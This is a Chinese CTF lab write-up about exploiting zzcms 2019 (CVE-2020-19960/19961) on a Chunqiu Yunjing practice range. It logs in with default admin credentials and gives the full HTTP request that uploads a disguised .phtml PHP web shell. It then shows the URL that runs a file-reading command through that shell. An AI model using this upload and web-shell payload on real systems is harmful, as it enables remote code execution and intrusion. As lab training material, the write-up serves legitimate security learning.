[春秋云镜]CVE-2020-19960,CVE-2020-19961

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

靶场介绍

zz cms 2019 存在sql注入漏洞 (CVE-2020-19960,CVE-2020-19961即可通关文件上传漏洞获取flag)

春秋云镜开启靶场：

http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/

后台

http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/admin/login.php

账号admin 密码admin

登录进来找上传点

http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/uploadimg_form.php?noshuiyin=1&imgid=2

上传一张图片修改后缀为.phtml

POST /uploadimg.php HTTP/1.1
Host: eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------193076518811279314343225962366
Content-Length: 664
Origin: http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/uploadimg_form.php
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1669902296,1669945756,1669953976,1670045049; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1670050507; __tins__713776=%7B%22sid%22%3A%201670052271753%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201670054071753%7D; __51cke__=; __51laig__=1; admin=admin; pass=21232f297a57a5a743894a0e4a801fc3; tablename=zzcms_zsclass
Upgrade-Insecure-Requests: 1-----------------------------193076518811279314343225962366
Content-Disposition: form-data; name="g_fu_image[]"; filename="1.phtml"
Content-Type: image/jpegGIF89a
<?php
if($_REQUEST['s']) {system($_REQUEST['s']);} else phpinfo();
?>-----------------------------193076518811279314343225962366
Content-Disposition: form-data; name="Submit"提交
-----------------------------193076518811279314343225962366
Content-Disposition: form-data; name="noshuiyin"-----------------------------193076518811279314343225962366
Content-Disposition: form-data; name="imgid"-----------------------------193076518811279314343225962366--

获取flag

http://eci-2ze8ijgd72hpnfb6jdt8.cloudeci1.ichunqiu.com/uploadfiles/2022-12/20221203074749583.phtml?s=cat%20../../../../../../../../flag